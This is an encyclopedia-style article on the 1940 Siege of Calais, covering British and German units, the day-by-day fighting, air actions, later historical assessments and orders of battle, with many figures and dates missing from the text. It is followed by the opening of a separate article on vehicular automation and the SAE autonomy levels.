When the Germans captured Abbeville on 20 May, the War Office in Britain ordered troops to be despatched to the Channel Ports as a precaution. The 20th Guards Brigade was sent to Boulogne. The 3rd Royal Tank Regiment (3rd RTR, Lieutenant-Colonel R. Keller), the 1st Battalion Queen Victoria's Rifles (QVR, Lieutenant-Colonel J. A. M. Ellison-Macartney), the 229th Anti-Tank Battery RA and the new 30th Motor Brigade (Brigadier Claude Nicholson), were ordered to Calais. Most of the units dispatched to Calais were unprepared for action in some respects.
The 3rd RTR was part of the 1st Heavy Armoured Brigade (Brigadier John Crocker) and had been about to leave for Cherbourg, to join the 1st Armoured Division, which was assembling at Pacy-sur-Eure in Normandy. Their tanks had already been loaded aboard SS City of Christchurch in Southampton. Lieutenant-Colonel Keller received orders on the night of at Fordingbridge to move the 3rd RTR to Southampton but during the journey the personnel train was diverted to Dover. Keller was briefed at Dover to go to Calais and given sealed orders for the British port commander (although he was not told who this was). The personnel embarked aboard SS Maid of Orleans.
The QVR was a Territorial Army motor-cycle battalion, nominally the divisional cavalry for the 56th (London) Division. They had briefly been attached to the 30th Motor Brigade in April but then were returned to the 56th (London) Division for home defence, being deprived of their twenty-two scout cars. They were stationed near Ashford in Kent and late on 21 May, the QVR was ordered to proceed by train to Dover to embark for France; the motor-cycle combinations and other vehicles were to be left behind. After a confused move it was realised that there had been a staff error and that there was room for the motor-cycle combinations aboard the but they did not arrive before the ship sailed.
Maid of Orleans and City of Canterbury carrying the personnel of the 3rd RTR and the QVR departed Dover at They arrived at Calais around under a pall of smoke from buildings on fire in the town. The QVR landed without motorcycles, transport or 3-inch mortars and only smoke bombs for the 2-inch mortars. Many of the men were armed only with revolvers and had to scavenge for rifles from those dumped on the quay by personnel hastily departing for England.
While they waited for their vehicles to arrive, the men of the 3rd RTR were ordered to disperse in the sand dunes and were bombed soon after. Keller met Holland who told him to take orders from the BEF GHQ but at Brownrigg arrived in Calais and ordered Keller to move the 3rd RTR south-west as soon as it had unloaded, to join the 20th Guards Brigade at Boulogne. After Brownrigg left, Major Ken Bailey turned up from GHQ with orders for the 3rd RTR to go to St Omer and Hazebrouck, east of Boulogne, to make contact with GHQ. Brownrigg had gone to Dover, unaware that his orders at Calais had been superseded. He met Nicholson and briefed him to relieve Boulogne with the 30th Infantry Brigade and the 3rd RTR.
SS City of Canterbury with the 3rd RTR tanks arrived from Southampton at but unloading was very slow, as of petrol had been loaded on deck and had to be moved using only the ship's derricks, as a power cut had immobilised the cranes on the docks. A power cut and a strike by the ship's crew for hours during the night of added to the delay. The captain intended to leave the harbour without waiting, until he was held up at gunpoint by a 3rd RTR officer. The dock workers were exhausted, having been at work unloading rations for the BEF for many hours and it was not until the following morning that the vehicles had been unloaded and refuelled. The cruiser tanks had been loaded first and had to be unloaded last. More delay was caused by the tank guns having been coated in a preservative and loaded separately. The guns had to be cleaned before they could be remounted.
The 30th Motor Brigade had been formed on 24 April 1940, from the 1st Support Group, to take part in the Norwegian Campaign. After these orders were cancelled, the brigade was posted to East Anglia to meet a supposed threat of invasion. The main body of the brigade were the 1st Battalion, the Rifle Brigade (1st RB, Lieutenant Colonel Chandos Hoskyns) and the 2nd Battalion, King's Royal Rifle Corps (2nd KRRC, Lieutenant Colonel Euan Miller). These were both highly trained units, each about 750 strong. They were ordered late on 21 May to move by road to Southampton. They arrived on 22 May and were embarked in a rather chaotic fashion; the vehicles aboard SS Kohistan and SS City of Canterbury which proceeded directly to Calais, the KRRC aboard and the RB and brigade headquarters aboard SS Archangel. They sailed on 23 May, at first for Dover, where they were joined by an "Auto Carrier" containing the 229th Anti-Tank Battery RA, which had moved from Sheffield but had to leave four of the twelve anti-tank guns behind as there was no room for them on the ship. The 30th Brigade's personnel arrived at Calais in the afternoon of 23 May. They then had to wait, like the 3rd RTR, until the evening for the vehicle ships to arrive and be unloaded.
Battle
22 May
The 3rd RTR had been assembling its and at Coquelles on the Calais–Boulogne road according to the orders received from Brownrigg and a patrol of light tanks was sent down the St. Omer road according to the orders received from GHQ via Bailey. The patrol found the town empty, under bombardment and illuminated by the fires of burning buildings, at which the patrol returned to Coquelles at about in the morning of 23 May. (The patrol was fortunate to miss the 6th Panzer Division, which had laagered around Guînes, west of the St. Omer road for the night.)
Calais was within the range of RAF aircraft based in Britain and at , Hawker Hurricanes of 151 Squadron shot down a Junkers Ju 88 bomber between Calais and Boulogne and Spitfires of 74 Squadron shot down another , both from (LG 1). Fighters from 54 Squadron and 92 Squadron claimed five Messerschmitt Bf 109s of (JG 27, Fighter Wing 27) for one Spitfire during the morning and in the afternoon, 92 Squadron lost two Spitfires shot down to Messerschmitt Bf 110s of (ZG 26) and (ZG 76). From LG 1 lost five aircraft over the Channel ports before II./ was assigned to the group as escorts while JG 27 lost 10 Bf 109s. Six British fighters were lost. (StG 77, Dive Bomber Wing 77) lost five on this date. No. 2 Group RAF flew support sorties in the area from 21 to 25 May, losing 13 bombers.
The German advance resumed in the morning and at the panzers crossed the Authie. During the afternoon, French rearguards, with some parties of British and Belgian troops, were met at Desvres, Samer and the vicinity of Boulogne. The Allied air forces were active and made bombing and strafing attacks on the German forces, with little opposition from the . The 10th Panzer Division was released from its defensive role and Guderian ordered the 1st Panzer Division, which was near Calais, to turn east towards Dunkirk and the 10th Panzer Division to move from Doullens to Samer and thence to Calais. The 1st Panzer Division was to advance eastwards to Gravelines at the next day. The 10th Panzer Division advance was delayed around Amiens, because infantry units which were to relieve the division in the bridgehead on the south bank of the Somme, arrived late and the British reinforcements sent to Calais forestalled the Germans.
23 May
On 23 May, the threat to the German flanks at Cambrai and Arras had been contained and ( Wolfram Freiherr von Richthofen) became available to support the 10th Panzer Division at Calais. Most of the Junkers Ju 87 dive-bombers were based around St Quentin, after leap-frogging forward in the wake of the advance but Calais was at the limit of their range. As units moved forward they had also come within the range of Fighter Command aircraft in England and Richthofen assigned I JG 27 (I Wing, Fighter Group 27) to Saint-Omer for fighter cover. Among the (groups) flying in support of the 10th Panzer Division were StG 77, StG 1 ( [Lieutenant-Colonel] Eberhard Baier), StG 2 ( [Group Commander] Oskar Dinort) and the medium bombers of (KG 77, [Colonel] Dr. Johan-Volkmar Fisser).
The units engaged RAF fighters and 92 Squadron shot down four Bf 109s; three I JG 27 pilots were taken prisoner, one was killed in action and 92 Squadron lost three Spitfires with their pilots. To reinforce the German fighters, I Jagdgeschwader 1, which was also based nearby to the south, was called on to escort Ju 87 units attacking Calais. Flying from forward airfields at Monchy-Breton, (Captain) Wilhelm Balthasar led JG 1 against the British Spitfires and claimed two of the four from his unit but lost one pilot killed.
The 3rd RTR received the report of the reconnaissance patrol and Bailey went back to GHQ with a light tank escort. Bailey became separated from the escort, ran into the advanced guard of the 1st Panzer Division at a crossroads on the St. Omer road and the driver was killed. The Germans were driven off by the men of a Royal Army Service Corps (RASC) petrol convoy, which had arrived on the scene. Bailey and the wounded passenger returned to Calais at about noon and told Keller that another attempt should be made, since the Germans had retired. Keller had already received information from the French that German tanks were moving towards Calais from Marquise. Despite doubts, Keller sent the rest of the 3rd RTR to follow the light tanks from Coquelles towards St. Omer at When about south-east of Hames-Bources, the rearguard tanks and anti-tank guns of the 1st Panzer Division were spotted on the Pihen-les-Guînes road (guarding the rear of the division as the main body moved north-east towards Gravelines).
The 3rd RTR drove back German light tanks on the St. Omer road, but despite losses, the heavier German tanks and anti-tank gun screen knocked out from tanks, before Nicholson ordered the 3rd RTR back to Calais. Other units of the 1st Panzer Division moving on Gravelines met about fifty men of C Troop, 1st Searchlight Regiment at Les Attaques, about south-east of Bastion 6 in the Calais enceinte. C Troop had built a roadblock with a bus and a lorry, covered by Bren guns, rifles, and Boys anti-tank rifles and held out for about three hours before being overrun. German tank and infantry parties then attacked a post at Le Colombier further along the St.Omer–Calais road but were caught in crossfire from other posts and the guns of the 58th Light Anti-Aircraft Regiment on high ground near Boulogne. The Germans were repulsed until the post was withdrawn at Calais was not the objective of the 1st Panzer Division but Kruger, commanding the battlegroup which was engaged at Guînes, Les Attaques and Le Colombier, had orders to take Calais from the south-east, if this could be achieved by a . As night fell the division reported that Calais was strongly held and broke off its attacks to resume the advance on Gravelines and Dunkirk.
Earlier, at Schaal had ordered the main body of his 10th Panzer Division, consisting of the 90th Panzer Regiment (two tank battalions) and 86th Rifle Regiment (two infantry battalions) supported by a battalion of medium artillery, to advance up the main road from Marquise to the high ground around Coquelles, which would give them good observation over Calais. Meanwhile, on the right flank, a battlegroup based on the division's 69th Rifle Regiment (two infantry battalions) was to advance from Guînes to the centre of Calais.
When Nicholson had arrived in Calais in the afternoon with the 30th Infantry Brigade, he had discovered that the 3rd RTR had already been in action and had considerable losses, and that the Germans were closing on the port and had cut the routes to the south-east and south-west. Nicholson ordered the 1st RB to hold the outer ramparts on the east side of Calais and the 2nd KRRC to garrison the west side, behind the outposts of the QVR and the anti-aircraft units outside the town, which began a retirement to the from about and continued during the night. Just after Nicholson received an order from the War Office to escort a truck convoy carrying to Dunkirk to the north-east, which was to supersede any other orders. Nicholson moved some troops from the defence perimeter to guard the Dunkirk road, while the convoy assembled but the 10th Panzer Division arrived from the south and began to bombard Calais from the high ground.
At the 3rd RTR sent a patrol of a Cruiser Mk III (A13) and three light tanks to reconnoitre the convoy route, which ran into the 1st Panzer Division roadblocks covering the road to Gravelines. The tanks drove through the first barricade, then found many Germans beyond the third road block, who mistook the tanks for German, even when one of the tank commanders asked if they "" The British tanks drove on for about , were inspected by torchlight and then stopped at a bridge over the Marck, to clear a string of mines which had been laid across the road. Two mines were blown up by 2-pounder fire and the rest dragged clear, the tanks then becoming fouled by coils of anti-tank wire, which took twenty minutes to cut free. The tanks then drove on and reached the British garrison at Gravelines but the radio in the A13 failed to transmit properly and Keller received only garbled fragments of messages, suggesting that the road was clear. A force of five tanks and a composite company of the Rifle Brigade led the truck convoy at Near Marck, about east of Calais, they encountered a German road block which they outflanked but at daylight it was clear they would soon be surrounded and they withdrew to Calais.
24 May
At the French coastal guns opened fire and German artillery and mortar fire began falling on the port at dawn, particularly on French gun positions, preparatory to an attack by the 10th Panzer Division against the west and south-west parts of the perimeter. The retirement of the QVR, searchlight and anti-aircraft troops from the outlying roadblocks had continued overnight until about when the troops completed their withdrawal to the enceinte. Further west, B Company of the QVR was ordered back from Sangatte, about west of Calais at and had retired slowly to the western face of the by and a C Company platoon out on a road east of Calais, also stayed out until but before midday, the main defensive line had been established on the . The first German attacks were repulsed except in the south, where the attackers penetrated the defences until forced back by a hasty counter-attack by the 2nd KRRC and tanks of the 3rd RTR. The German bombardment was extended to the harbour, where there was a hospital train full of wounded waiting to be evacuated. The harbour control staff ordered the wounded to be put aboard the ships, which were still being unloaded of equipment for the infantry battalions and rear echelon of the tank regiment. The dock workers and rear-area troops were also embarked and the ships returned to England, with some of the equipment still on board.
During the afternoon the Germans attacked again on all three sides of the perimeter, with infantry supported by tanks. The French garrison of Fort Nieulay, outside the western ramparts surrendered after a bombardment. French marines in Fort Lapin and the coastal artillery emplacements spiked the guns and retreated. On the southern perimeter the Germans broke in again and could not be forced back, the defence being hampered by fifth columnists sniping from the town. The German troops who broke in began to fire in enfilade on the defenders from the houses they had captured. The defenders on the ramparts ran short of ammunition and the 229th Battery was reduced to two operational anti-tank guns. The Germans had great difficulty in identifying British defensive positions and by had managed only a short advance. At the 10th Panzer Division reported that a third of the equipment, vehicles and men were casualties, along with half of the tanks.
The Royal Navy had continued to deliver stores and take off wounded. The destroyers , , , , and the Polish Okręt Rzeczypospolitej Polskiej (ORP) Burza bombarded shore targets. The Ju 87 Stuka units made a maximum effort during the day, Wessex was sunk and Burza was damaged by StG 2 and StG 77 during a raid at StG 2 were ordered to target shipping. Dinort attacked Wessex but the destroyer made an elusive target and he missed after bombing on the second dive; the other two groups made a forty-strong formation which hit Wessex several times. The German crews had little training on anti-shipping operations but in the absence of British fighters, dived from ; as the departed they were attacked by Spitfires of 54 Squadron which shot down three of the dive-bombers and lost three Spitfires to the Bf 109 escorts.
Wolfhound put into Calais and the captain reported to the Admiralty that the Germans were in the southern part of town and that the situation was desperate. Nicholson had received a message from the War Office at that Calais was to be evacuated and that once unloading was complete, non-combatants were to be embarked; at Nicholson was told that the fighting troops would have to wait until 25 May. Lacking a reserve to counter-attack at the perimeter, Nicholson ordered a retirement to the Marck canal and Avenue Léon Gambetta and during the night, the defenders retreated to the Old Town and the area to the east, inside the outer ramparts and the Marck and Calais canals, while holding the north–south parts of the , on both sides of the port. Le Tellier had set up the French headquarters in the Citadel on the west side of the Old Town but command of the French forces remained divided, with Lambertye still in charge of the naval artillery.
It had been arranged that French engineers would prepare the bridges over the canals for demolition but this had not occurred and the British had no explosives to do it themselves. Nicholson was informed by a signal at from General Edmund Ironside the Chief of the Imperial General Staff (CIGS) that General Robert Fagalde, the French commander of the Channel Ports since 23 May, had forbidden an evacuation and that the Calais defenders must comply. As the harbour had lost its significance, Nicholson was to choose the best position from which to fight on; ammunition would be sent but no reinforcements. Nicholson was told that the 48th Division (Major-General Andrew Thorne) had begun to advance towards Calais to relieve the defenders. From the French naval gunners spiked most of their guns and made their way to the docks to embark on French ships. Lambertye refused to go, despite being ill, and asked for volunteers from the and army personnel to stay behind, about fifty men responding despite being warned that there would be no more rescue attempts. The volunteers took over Bastion 11 on the west side and held it for the duration of the siege.
25 May
During the night, Vice-Admiral James Somerville crossed from England and met Nicholson, who said that with more guns he could hold on for a while longer and they agreed that the ships in the port should return. At dawn on 25 May, the German bombardment resumed, concentrating on the old town, where buildings fell into streets, high winds fanned fires everywhere and smoke from explosions and the fires blocked the view. The last guns of the 229th Anti-Tank Battery were knocked out and only three tanks of the 3rd RTR remained operational. Distribution of rations and ammunition was difficult and after the water mains were broken, derelict wells were the only source. At Schaal sent the mayor, André Gerschell, to ask Nicholson to surrender who refused. At noon, Schaal offered another opportunity to surrender and extended the deadline to when he found that his emissaries had been delayed, only to be refused again. The German bombardment increased during the day, despite attempts by Allied ships to bombard German gun emplacements.
In the east, the 1st Rifle Brigade and parties of the QVR on the outer ramparts and the Marck and Calais canals repulsed a determined attack. The French then eavesdropped on a German wireless message, which disclosed that the Germans were going to attack the perimeter on the west side, held by the 2nd KRRC. At Nicholson ordered a counter-attack and eleven Bren carriers and two tanks with the 1st RB were withdrawn and assembled for a sortie. The attackers were to depart from the north of the and rush round to the south to get behind the Germans. Hoskyns, the 1st RB commander objected, since the plan required the withdrawal of tanks and men from where the Germans were close to breaking through. Hoskyns was over-ruled and it took too long to contact Nicholson, because telephone and radio communication had been lost. The attack went ahead but the carriers bogged in the sand and the attempt failed. At about the units holding the Canal de Marck were overwhelmed and Hoskyns was mortally wounded by a mortar bomb. Major A. W. Allan, the second-in-command of 1st RB, took over the battalion which then made a fighting withdrawal northwards through the streets, to the , the and the quays. In the south-east corner, at the 1st RB positions near the , a rearguard was surrounded and a counter-attack to extricate them was repulsed. Some of the rearguard broke out in a van driven by a fifth columnist at gunpoint but he stopped before reaching safety and few of the wounded reached cover. Only of the the area escaped.
The units of the RB and QVR withdrawing from the northern part of the gained a respite when German artillery mistakenly shelled their own troops (II Battalion, Rifle Regiment 69) who were forming up in a small wood to the east of Bastion No. 2. In the afternoon, a German officer with a captured French officer and Belgian soldier, approached under a flag of truce to demand a surrender, which Nicholson refused. The German attack was resumed and continued until the German commander decided that the defenders could not be defeated before dark. In the old town the KRRC and more parties of the QVR fought to defend the three bridges into the Old Town from the south but at the German artillery ceased fire and tanks attacked the bridges. Three panzers attacked and two were knocked out, the third tank retiring. At , the middle bridge, the first tank drove over a mine and the attack failed. At , near the Citadel, the attempt succeeded and the bridge was captured by tanks and infantry, who took cover in houses north of the bridge, until counter-attacked by the 2nd KRRC. Parties of French and British troops held a bastion, the French in the Citadel lost many men repulsing the attacks and Nicholson established a joint headquarters with the French.
Shortly after Hoskyns (commanding the 1st RB) was mortally wounded, Lieutenant Colonel Keller, commanding the 3rd RTR, decided that his few remaining tanks under shellfire near the Bastion de l'Estran, could no longer play a useful part in the defence. He ordered them to withdraw eastwards through the sand dunes north of the while he himself tried to evacuate men from Bastion No. 1 to the sand dunes; the wounded were captured a short time later. Riding on a light tank, Keller later reached C Company of the 1st RB north-east of the , where he suggested that they and his tanks withdraw to Dunkirk but his last tanks broke down or ran out of fuel and were destroyed by their crews. At nightfall Keller and some of the crews made their way on foot to Gavelines. Keller and one of his squadron commanders were able to cross the Aa River; next morning they contacted French troops and were later evacuated to Dover.
At GMT, 17 Squadron claimed three destroyed over Calais and three damaged, plus a Do 17. Air cover was maintained by 605 Squadron, which claimed four Ju 87s and a Hs 126 destroyed with another five unconfirmed claims, after an engagement at while escorting Bristol Blenheim on a reconnaissance sortie. The formation of 40 to 50 attacked shipping near the port. 264 Squadron flew escort operations in the afternoon without incident. On 25 May, 11 Group flew bomber and sorties, losing two Blenheims and two fighters, against shot down and nine damaged to all causes. RAF Bomber Command flew against land targets on 25 May. StG 2 lost four Ju 87s and one damaged. All eight of the crews shot down were captured but released after the French surrender.
26 May
In case Fagalde relented, fifteen small naval vessels towing boats, with room for about waited offshore, some sailed into Calais harbour without an evacuation order and one vessel delivered another order for Nicholson to continue the battle. At Nicholson reported to England that the men were exhausted, the last tanks had been knocked out, water was short and reinforcement probably futile, the Germans had got into the north end of town. The resistance of the Calais garrison had led the German staff to meet late on 25 May, when Colonel Walther Nehring, the XIX Chief of Staff, suggested to Schaal that the final attack should be postponed until 27 May, when more would be available. Schaal preferred to attack, rather than give the British time to send reinforcements.
At , the German artillery resumed its bombardment. Several artillery units had been brought up from Boulogne, doubling the numbers of guns available to Schaal. From the old town and citadel were attacked by artillery and up to 100 , after which the infantry attacked, while the German guns and StG 77 and StG 2 subjected the Citadel to heavy assaults for another thirty minutes. The 2nd KRRC continued to resist the German infantry attacks at the canal bridges. Schaal was told that if the port had not been surrendered by the division would be ordered back until the had levelled the town. The Germans began to break through around when Bastion 11 was captured after the French volunteers ran out of ammunition. On the other side of the harbour, the 1st RB held positions around the , under attack from the south and east. Major Allan, in command, held on in the belief that the 2nd KRRC might withdraw north-east to the to make a joint final defence of the harbour. At the Germans finally overran the and the . The survivors of the 1st RB made a last stand on and around Bastion No. 1, before being overwhelmed at
The 2nd KRRC retreated from the three bridges between the old and new towns, to a line from the harbour to the cathedral between and , from one of the bridges. Troops in the Citadel began to show white flags. German tanks crossed and British troops dispersed, having no weapons to engage tanks. At the new line collapsed and the 2nd KRRC was given the order "every man for himself", after which only B Company fought as a unit, not having received orders to retreat to the harbour. The occupants of the Citadel realised that the German artillery had ceased fire and found themselves surrounded around a French officer arrived, with news that Le Tellier had surrendered.
During the day, the RAF flew near Calais, with six fighter losses from 17 Squadron, which attacked dive-bombers of StG 2, claimed three, a Dornier Do 17 and a Henschel Hs 126. Fleet Air Arm (FAA) Fairey Swordfish aircraft, bombed German troops near Calais and the escorts from 54 Squadron claimed three and a for the loss of three aircraft. At noon 605 Squadron claimed four from StG 77 and a for a loss of a Hurricane. JG 2 protected the Ju 87s, fought off the attacks from 17 Squadron and there appear to have been no German losses, while they shot down Blenheim on a reconnaissance sortie. were able to conduct fighter sweeps over Calais after noon, with the battle almost over. Seven Bf 109s engaged a flight of Hurricanes, the dogfight extending over Calais; one Hurricane was shot down for no loss to JG 3.
Aftermath
Analysis
In 2006, Sebag-Montefiore wrote that the defence of the advanced posts outside Calais, by inexperienced British troops against larger numbers of German troops, may have deterred the 1st Panzer Division commanders from probing the Calais defences further and capturing the port. In the early afternoon of 23 May, it was unlikely that the British troops on the Calais were prepared to receive an attack, the 2nd KRRC and 1st RB having disembarked only an hour earlier at The unloading of the 2nd KRRC vehicles was delayed until and half of the battalion did not arrive at its positions until An attack on Calais in the early afternoon would only have met the QVR.
The day after Calais surrendered, the first British personnel were evacuated from Dunkirk. In (1950, English edition 1952), Guderian replied to a passage in Their Finest Hour (1949) by Winston Churchill, that Hitler had ordered the panzers to stop outside Dunkirk in the hope that the British would make peace overtures. Guderian denied this and wrote that the defence of Calais was heroic but made no difference to the course of events at Dunkirk. In 1966, Lionel Ellis, the British official historian, wrote that the defence of Calais and Boulogne diverted three panzer divisions from the French First Army and the BEF; by the time that the Germans had captured the ports and reorganised, III Corps (Lieutenant-General Ronald Adam) had moved west and blocked the routes to Dunkirk.
In 2005, Karl-Heinz Frieser wrote that the Franco-British counter-attack at Arras on 21 May, had a disproportionate effect on the Germans, because the German higher commanders were apprehensive about flank security. Ewald von Kleist, the commander of perceived a "serious threat" and informed Colonel-General Franz Halder (Chief of the General Staff of OKH), that he had to wait until the crisis was resolved before continuing. Colonel-General Günther von Kluge, the 4th Army commander, ordered the tanks to halt, an order supported by Rundstedt, the commander of Army Group A. On 22 May, when the Anglo-French attack had been repulsed, Rundstedt ordered that the situation at Arras must be restored before moved on Boulogne and Calais. At (OKW, High Command of the Armed Forces) the panic was worse and Hitler contacted Army Group A on 22 May, to order all mobile units to operate either side of Arras and further west; infantry units were to operate to the east of the town.
The crisis among the higher staffs of the German army was not apparent at the front and Halder formed the same conclusion as Guderian, the real threat was that the Allies would retreat to the channel coast and a race for the channel ports began. Guderian had ordered the 2nd Panzer Division to capture Boulogne, the 1st Panzer Division to take Calais and the 10th Panzer Division to seize Dunkirk, before the halt order. Most of the BEF and the French First Army were still from the coast but despite delays, British troops were sent from England to Boulogne and Calais just in time to forestall the XIX Corps panzer divisions on 22 May. Had the panzers advanced at the same speed on 21 May as they had on 20 May, before the halt order stopped their advance for Boulogne and Calais would have fallen easily. (Without a halt at Montcornet on 15 May and the second halt on 21 May, after the Battle of Arras, the final halt order of 24 May would have been irrelevant, because Dunkirk would have already fallen to the 10th Panzer Division.)
Casualties
In 1952, Guderian wrote that the British surrendered at and that 20,000 prisoners were taken, including British troops, the remainder being French, Belgian and Dutch, most of whom had been "locked in cellars by the British" after they had ceased to fight. In 2006, Sebag-Montefiore wrote that German casualties killed and wounded during the battle were not recorded but probably amounted to several hundred. Brigadier Nicholson was never able to give his views as he died in captivity on 26 June 1943 aged 44. Lieutenant-Colonel Chandos Hoskyns, commanding the Rifle Brigade, was mortally wounded on 25 June and died in England. Charles de Lambertye, commanding the French contingent, died of a heart attack while touring the defences of Calais on 26 May. German situation reports recorded lost or damaged from the RAF lost
Subsequent operations
When the evacuation of troops was stopped, the Vice-Admiral Dover, Vice-Admiral Bertram Ramsay sent smaller craft to remove surplus men and the launch Samois made four journeys to take wounded back to England. The yacht HMY Conidaw entered the harbour on 26 May and ran aground. The yacht was refloated on the afternoon tide and brought away as other vessels took on more casualties. During the night of Ramsay had the motor yacht HMY Gulzar painted with red crosses and sailed to Calais to recover wounded. At Gulzar entered the harbour and docked at the Gare Maritime pier; a party went ashore and was fired on.
The party ran back and the boat cast off, as Gulzar was fired on from around the harbour. British troops on the eastern jetty called out and shone torches, which were seen by the crew; Gulzar turned back, the fugitives jumped aboard as the yacht was still under fire and escaped. On 27 May, the RAF responded to a War Office request the evening before, to drop supplies to the Calais garrison and sent twelve Westland Lysander aircraft to drop water at dawn. At dropped ammunition on the Citadel, as nine Swordfish of the FAA bombed German artillery emplacements. Three Lysanders were shot down and a Hawker Hector was damaged.
Commemoration
Calais 1940 was awarded as a battle honour to the British units in action.
Orders of battle
Data from Routledge (1994) Farndale (1996) and Ellis (2004) unless indicated.
XIX Corps
(General of Cavalry Ewald von Kleist, Chief of Staff: Brigadier-General Kurt Zeitzler)
XIX Korps (General of Cavalry Heinz Guderian)
1st Panzer Division (Major-General Friedrich Kirchner)
2nd Panzer Division (Major-General Rudolf Veiel)
10th Panzer Division (Major-General Ferdinand Schaal)
XLI korps (Major-General Georg-Hans Reinhardt)
6th Panzer Division (Brigadier-General Werner Kempf)
8th Panzer Division (Colonel Erich Brandenberger)
Calais garrison
30th Motor Brigade (Brigadier C. N. Nicholson)
1st Battalion, Rifle Brigade (Prince Consort's Own)
2nd Battalion, King's Royal Rifle Corps
7th Battalion, King's Royal Rifle Corps (1st Battalion, Queen Victoria's Rifles)
3rd Royal Tank Regiment (under command)
229th Anti-Tank Battery (less a troop) 58th Anti-Tank Regiment, RA (under command)
6th Heavy Anti-Aircraft Battery, 2nd Heavy Anti-Aircraft Regiment, RA (under command)
172nd Light Anti-Aircraft Battery, 58th (Argyll and Sutherland Highlanders) Light Anti-Aircraft Regiment, RA (under command)
1st and 2nd Searchlight Batteries, 1st Searchlight Regiment, RA (under command)
Elements, 2nd Searchlight Regiment, RA
See also
List of British military equipment of World War II
List of French military equipment of World War II
List of German military equipment of World War II
Notes
Footnotes
References
Further reading
External links
West Point map
Keith Brigstock Royal Artillery Searchlights, presentation to Royal Artillery Historical Society, Larkhill, 17 January 2007
Jon Latimer, Sacrifice at Calais HistoryNet
Conflicts in 1940
1940 in France
Battle of France
World War II in the Pas-de-Calais
Battles of World War II involving Germany
Calais
Sieges involving France
Sieges involving the United Kingdom
Sieges involving Germany
Siege
Sieges of World War II
May 1940 events
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https://en.wikipedia.org/wiki/Vehicular%20automation
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Vehicular automation
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Vehicular automation involves the use of mechatronics, artificial intelligence, and multi-agent systems to assist the operator of a vehicle such as a car, lorries, aircraft, or watercraft. A vehicle using automation for tasks such as navigation to ease but not replace human control, qualify as semi-autonomous, whereas a fully self-operated vehicle is termed autonomous.
Automated vehicles include self-driving cars, unmanned surface vehicles, autonomous trains, advanced airliner autopilots, drone aircraft, and planetary rovers, as well as guided rockets and missiles.
The technology involved in implementing autonomous vehicles ranges from changes to the vehicle to providing support in the driving environment.
Automated vehicles present safety concerns, especially in land transport, given the complexity of driving, geographical/cultural differences, and road conditions. Various technological challenges need to be overcome to make autonomous vehicles robust and scalable.
Vehicular automation topic is notable for road traffic due to the number of vehicles and drivers but present specific concerns in an environement subject to traffic collisions due to the need to share the road with other road users.
Autonomy implies that the vehicle is responsible for all perceptual, monitoring and control functions. Automated systems may not be capable of operating under all conditions, leaving the rest for a human operator. A further subtlety is that while a vehicle may attempt to operate under all circumstances, the vehicle may require a human to assume control in unanticipated circumstance arises or when the vehicle misbehaves.
Autonomy levels
Autonomy in motor vehicles is often categorized in six levels: The level system was developed by the Society of Automotive Engineers (SAE).
Level 0: No automation.
Level 1: Driver assistance - The vehicle can control either steering or speed autonomously in specific circumstances to assist the driver.
Level 2: Partial automation - The vehicle can control both steering and speed autonomously in specific circumstances to assist the driver.
Level 3: Conditional automation - The vehicle can control both steering and speed autonomously under normal environmental conditions, but requires driver oversight.
Level 4: High automation - The vehicle can complete travel autonomously under normal environmental conditions, not requiring driver oversight.
Level 5: Full autonomy - The vehicle can complete travel autonomously in any environmental conditions.
Level 0 refers, for instance, to vehicles which do not have adaptive cruise control.
Level 1 and 2 refer to vehicles where one part of the driving task is performed by the vehicle advanced driver-assistance systems (ADAS) under the responsibility/accountability/liability of the driver.
From level 3, the driver can conditionally transfer the driving task to the vehicle, but the driver must take back control when the conditional automation is no longer available. For instance an automated traffic jam pilot can drive in the traffic jam but the driver should take back control when traffic jam is over.
Level 5 refers to a vehicle which does not need any (human) driver.
"Level 2+" or "semi-automated" is a kind of enhanced level 2 where some manufacturers are ready to provide more features than the basic features of a level 2 system, but manufacturers and regulators are not yet ready for SAE level 3. This led to the introduction of the informal notion of "enhanced level 2" or "level 2+" or "semi-automated" — a dominant ADAS trend in 2021 — which is a level 2 with additional safety and comfort. For instance, a low cost level 2+ vehicle can include interior-monitoring technologies to ensure driver attention, adaptive merging for when vehicles are entering or exiting the highway, and new kinds of enhanced automatic emergency braking (AEB) for pedestrian, cyclist and motorcyclist safety. Level 2+ can also include lane change and overtaking.
The levels can be roughly understood as Level 0 - no automation; Level 1 - hands on/shared control; Level 2 - hands off; Level 3 - eyes off; Level 4 - mind off, and Level 5 - steering wheel optional.
, level 3 remains a marginal portion of the market, with only one hundred level 3 Honda Legend cars available in the Japanese market. It is possible that level 3 remains a marginal portion of the market until 2025.
Technology used in vehicular automation
The primary means of implementing autonomous vehicles is through the use of Artificial Intelligence (AI). In order for full autonomous vehicles to be implemented, the lower levels of automation must be thoroughly tested and implemented before moving on to the next level. Through implementing autonomous systems, such as navigation, collision avoidance and steering, autonomous vehicle manufacturers work towards higher levels of autonomy by designing and implementing different systems of the car. These autonomous systems, along with the use of artificial intelligence methods, can use the machine learning aspect of AI in order for the vehicle to control each of the other autonomous systems and processes. Thus, autonomous vehicle manufacturers are researching and developing appropriate AI specifically for autonomous vehicles. While many of these companies are continuously developing technologies to be implemented into their autonomous vehicles, the general consensus is that the underlying technology is still in need of further development before fully autonomous vehicles are possible.
Arguably one of the most important systems of any autonomous vehicle, the perception system must be fully developed and well-tested in order for autonomy to advance. With the development and implementation of the perception system on autonomous vehicles, much of the safety standards of autonomous vehicles are being addressed by this system, which places an unequivocal emphasis on it to be flawless, as human lives would be subject to harm if a faulty system were to be developed. The main purpose for the perception system is to constantly scan the surrounding environment and determine which objects in the environment pose a threat to vehicles. In a sense, the perception system's main goal is to act like human perception, allowing the system to sense hazards and to prepare or correct for these hazards. In terms of the detection part of the perception system, many solutions are being tested for accuracy and compatibility, such as radar, lidar, sonar and moving image processing.
With the development of these autonomous subsystems of the car, autonomous vehicle manufacturers have already developed systems which act as assistance features on a vehicle. These systems are known as advanced driver-assistance systems, and contain systems to do such actions as parallel parking and emergency braking. Along these systems, autonomous navigation systems play a role in the development of autonomous vehicles. In implementing the navigation system, there are two ways in which navigation can be implemented: sensing from one vehicle to another or sensing from the infrastructure. These navigation systems would work in tandem with already well established navigation systems, such as the Global Positioning System (GPS), and be able to process route information, detecting such things as traffic jams, tolls and or road construction. From this information, the vehicle can then take the appropriate action to either avoid the area or plan accordingly. However, there may be problems in using this method, such as outdated information, in which case vehicle to infrastructure communication can play a large role in constantly having up-to-date information. An instance of this is having street signs and other regulatory markers display information to the vehicle, which allows the vehicle to make decisions based on the current information.
